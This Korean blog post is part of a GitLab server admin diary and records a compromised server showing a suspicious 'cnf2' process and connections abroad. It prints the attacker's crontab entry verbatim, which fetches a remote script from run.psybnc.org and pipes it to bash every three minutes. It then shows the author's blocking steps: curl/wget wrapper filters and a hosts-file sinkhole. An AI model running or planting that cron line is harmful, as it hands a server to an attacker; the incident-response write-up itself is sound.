상세 컨텐츠

본문 제목

gitlab 서버 관리 일지 - 4

개발이야기/Gitlab

by mycatdid0 2022. 7. 13. 10:51

본문

반응형

(포스팅 2022.07.14)

 

- 관련 리스트
gitlab 서버 관리 일지 - 5
gitlab 서버 관리 일지 - 4
gitlab 서버 관리 일지 - 3
gitlab 서버 관리 일지 - 2
gitlab 서버 관리 일지 - 1

 

- 목차
2022.07.12 Gitlab 해킹됨
2022.07.13 Gitlab 502 에러 다시 발생

2022.07.12 Gitlab 해킹됨

 

휴가를 다녀오고 gitalb 서버를 점검하니, 다시 502 에러 발생하였습니다.

프로세스 점검. mysql 이 많은게 수상하긴 하지만 별 이상은 없음.

top - 08:45:32 up 38 days, 21:50,  1 user,  load average: 4.64, 3.79, 3.09
Tasks: 5178 total,   2 running, 5113 sleeping,   0 stopped,   0 zombie
%Cpu(s): 13.6 us,  8.8 sy,  0.0 ni, 76.4 id,  0.0 wa,  0.0 hi,  1.1 si,  0.0 st
KiB Mem : 32811932 total,  1590868 free, 27670476 used,  3550588 buff/cache
KiB Swap:  2097148 total,  2097148 free,        0 used.  4616684 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
  757 systemd+  20   0   74028   8160   4076 S  12.5  0.0 440:51.90 systemd-resolve
16560 dysys     20   0   51088   9632   3412 R   3.4  0.0   0:02.13 top
26722 git       20   0 1197868 543504  21672 S   1.3  1.7  61:35.17 bundle
14796 git       20   0   37868   7812   3216 S   0.9  0.0   0:37.83 /usr/sbin/mysql
    8 root      20   0       0      0      0 I   0.6  0.0  61:43.60 rcu_sched
   52 root      20   0       0      0      0 S   0.6  0.0  24:16.38 ksoftirqd/7
 1161 gitlab-+  20   0   44496   7636   3000 S   0.6  0.0 462:28.48 redis-server
 1695 git       20   0   37896   8340   3724 S   0.6  0.0   0:11.60 /usr/sbin/mysql
 2722 git       20   0   37896   7804   3208 S   0.6  0.0   6:58.06 /usr/sbin/mysql
 2746 git       20   0   37868   7776   3180 S   0.6  0.0   8:53.81 /usr/sbin/mysql
 2944 git       20   0   37896   8192   3584 S   0.6  0.0   0:18.53 /usr/sbin/mysql
 2961 git       20   0   37872   8360   3748 S   0.6  0.0   0:46.13 /usr/sbin/mysql
 3665 git       20   0   37872   7836   3240 S   0.6  0.0  12:30.65 /usr/sbin/mysql
 5422 git       20   0   37868   7828   3236 S   0.6  0.0   0:58.14 /usr/sbin/mysql
 5471 git       20   0   37896   7744   3148 S   0.6  0.0   5:22.11 /usr/sbin/mysql
 5528 git       20   0   37904   7836   3244 S   0.6  0.0   0:08.18 /usr/sbin/mysql
 5725 git       20   0   37868   7892   3300 S   0.6  0.0   3:55.38 /usr/sbin/mysql
 5891 git       20   0   37868   7752   3156 S   0.6  0.0   5:31.23 /usr/sbin/mysql
 5905 git       20   0   37868   7848   3256 S   0.6  0.0   0:10.53 /usr/sbin/mysql

 

이전에 해커가 심어놓은 동작을 막기 위한 .qwerty 가 없어짐. 다시 생성함.

ㅁㅁㅁㅁㅁ:/tmp$ echo > .qwerty
ㅁㅁㅁㅁㅁ:/tmp$ sudo chmod a-rwx .qwerty
ㅁㅁㅁㅁㅁ:/tmp$ sudo chown root:root .qwerty
ㅁㅁㅁㅁㅁ:/tmp$ sudo lsattr .qwerty
--------------e--- .qwerty
ㅁㅁㅁㅁㅁ:/tmp$ ls -al
합계 80
drwxrwxrwt 14 root root 20480  7월 12 09:01 .
drwxr-xr-x 24 root root  4096  3월 28 10:56 ..
drwxrwxrwt  2 root root  4096  6월  3 10:55 .ICE-unix
drwxrwxrwt  2 root root  4096  6월  3 10:55 .Test-unix
-r--r--r--  1 root root    11  6월  3 10:55 .X0-lock
drwxrwxrwt  2 root root  4096  6월  3 10:55 .X11-unix
drwxrwxrwt  2 root root  4096  6월  3 10:55 .XIM-unix
dr-xr-xr-x  2 git  git   4096  7월  9 03:45 .cnf2
drwxrwxrwt  2 root root  4096  6월  3 10:55 .font-unix
----------  1 root root     1  7월 12 09:01 .qwerty		****> 이거
drwx------  2 git  git   4096  7월 12 02:08 gitaly-ruby019230642
drwx------  2 git  git   4096  7월 12 08:58 prometheus-mmap20220712-28916-4p9gzw
drwx------  3 root root  4096  6월  3 10:55 systemd-private-170a33dc8848454194c6b37378964827-ModemManager.service-OOIQXJ
drwx------  3 root root  4096  6월  3 10:55 systemd-private-170a33dc8848454194c6b37378964827-colord.service-lREUvS
drwx------  3 root root  4096  6월  3 10:55 systemd-private-170a33dc8848454194c6b37378964827-systemd-resolved.service-iygrJC
drwx------  3 root root  4096  6월  3 10:55 systemd-private-170a33dc8848454194c6b37378964827-systemd-timesyncd.service-hWUamw

 

crontab 가 살아나 있음.

ㅁㅁㅁㅁㅁ:~$ sudo crontab -u git -l
*/3 * * * * (curl  run.psybnc.org/ioi||wget -q -O- run.psybnc.org/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("run.psybnc.org/ioi").read()')| bash -sh

 

해커가 다시 작업한 것 같습니다.

 

일단 서버가 동작해야 함. reconfigure 로 다시 살림.

sudo gitlab-ctl reconfigure

 


2022.07.13 Gitlab 502 에러 다시 발생

 

.qwerty 를 사용한 방어가 동작하지 않는 상태.

 

프로세스들 다시 확인

Tasks: 5158 total,   4 running, 5093 sleeping,   0 stopped,   0 zombie
%Cpu(s): 84.9 us, 14.0 sy,  0.0 ni,  0.2 id,  0.0 wa,  0.0 hi,  0.9 si,  0.0 st
KiB Mem : 32811924 total,  1113336 free, 29733032 used,  1965556 buff/cache
KiB Swap:  2097148 total,  2097148 free,        0 used.  2549840 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 4059 git       20   0 2473540 2.316g   4416 S 628.6  7.4   5116:06 cnf2        ****> 이거
26598 dysys     20   0   51120   9640   3408 R  54.3  0.0   0:00.34 top
 7100 git       20   0  490988  45536  10104 S  11.4  0.1   3:07.01 gitlab-exporter
  712 systemd+  20   0   71532   7044   5564 S   8.6  0.0  70:33.72 systemd-resolve
   28 root      20   0       0      0      0 S   2.9  0.0   1:53.66 ksoftirqd/3
   34 root      20   0       0      0      0 S   2.9  0.0   1:52.28 ksoftirqd/4
  391 git       20   0   37888   7860   3264 S   2.9  0.0   0:04.77 /usr/sbin/mysql
 1207 git       20   0   37904   7924   3336 S   2.9  0.0   0:02.59 /usr/sbin/mysql
 3533 git       20   0   37868   7892   3296 S   2.9  0.0   0:04.99 /usr/sbin/mysql
 5717 git       20   0   37868   7836   3240 S   2.9  0.0   0:04.15 /usr/sbin/mysql
 9509 gitlab-+  20   0   42448   7324   3120 S   2.9  0.0   4:23.68 redis-server
11678 git       20   0   37868   7828   3232 S   2.9  0.0   0:04.89 /usr/sbin/mysql
15373 git       20   0   37868   7788   3192 S   2.9  0.0   0:04.60 /usr/sbin/mysql
15747 git       20   0   37868   8316   3716 S   2.9  0.0   0:05.13 /usr/sbin/mysql

 

cnf2 가 수상한데, 인터넷 검색해도 별다른 내용이 없음.

 

네트워크 확인해보면, 네덜란드로 열린 포트가 있음

ㅁㅁㅁㅁㅁ:~$ netstat -at | grep ESTA
....
tcp        0      0 dysys-git:59024         vmi713866.contabos:ircd ESTABLISHED
tcp        0      0 dysys-git:37584         193.177.120.34.bc:https ESTABLISHED         ****> 네덜란드
tcp        0      0 localhost:9236          localhost:38586         ESTABLISHED
tcp        0     74 dysys-git:37700         vmi713866.contabos:ircd ESTABLISHED

 

3분마다 작동하는 crontab 무력화가 급함

ㅁㅁㅁㅁㅁ:~$ sudo -u git crontab -l
*/3 * * * * (curl  run.psybnc.org/ioi||wget -q -O- run.psybnc.org/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("run.psybnc.org/ioi").read()')| bash -sh

 

curl 명령과 wget 명령에서 필터링하기로 함.

ㅁㅁㅁㅁㅁ:~$ cat /usr/bin/curl
#!/bin/bash
if [[ "$2" =~ "89.44.9.246" ]]
then
   exit
fi
if [[ "$1" =~ "psybnc" ]] || [[ "$2" =~ "psybnc" ]]
then
   exit
fi
curl_220527 $@


ㅁㅁㅁㅁㅁ:/usr/bin$ cat /usr/bin/wget
#!/bin/bash
if [[ "$2" =~ "89.44.9.246" ]]
then
   exit
fi
if [[ "$1" =~ "psybnc" ]] || [[ "$2" =~ "psybnc" ]] || [[ "$3" =~ "psybnc" ]] || [[ "$4" =~ "psybnc" ]]
then
   exit
fi
wget_220713 $@

 

crontab의 내용을 실행해보고 정상적으로 막혔는지 확인.

ㅁㅁㅁㅁㅁ:/usr/bin$ curl  run.psybnc.org/ioi||wget -q -O- run.psybnc.org/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("run.psybnc.org/ioi").read()'
****> 동작안함 확인.

 

run.psybnc.org와  통신하지 못하도록 hosts 를 수정

ㅁㅁㅁㅁㅁ:/usr/bin$ cat /etc/hosts
127.0.0.1    localhost
127.0.1.1    dysys-git
127.0.0.1    run.psybnc.org     ****> localhost 로 추가하였다.

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

 

ping 테스트하여 확인

ㅇ 기존 상태
ㅁㅁㅁㅁㅁ:/usr/bin$ ping run.psybnc.org
PING run.psybnc.org (87.229.73.75) 56(84) bytes of data.
64 bytes from ziza.hu (87.229.73.75): icmp_seq=1 ttl=49 time=212 ms	****> ziza.hu 는 아파치서버
64 bytes from ziza.hu (87.229.73.75): icmp_seq=2 ttl=49 time=222 ms

ㅇ hosts 변경 후
ㅁㅁㅁㅁㅁ:/usr/bin$ ping run.psybnc.org
PING run.psybnc.org (127.0.0.1) 56(84) bytes of data.   ****> 외부로 도달하지 못함
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.014 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.010 ms

 

여기까지 진행하고 서버를 reconfigure 로 다시 살림.

sudo gitlab-ctl reconfigure

 

반응형

'개발이야기 > Gitlab' 카테고리의 다른 글

gitlab 서버관리 일지 - 5  (0) 2022.07.27
gitlab 서버 관리 일지 - 3  (0) 2022.05.30
gitlab 서버 관리 일지 - 2  (0) 2022.05.30
gitlab 서버 관리 일지 - 1  (0) 2022.05.30

관련글 더보기

댓글 영역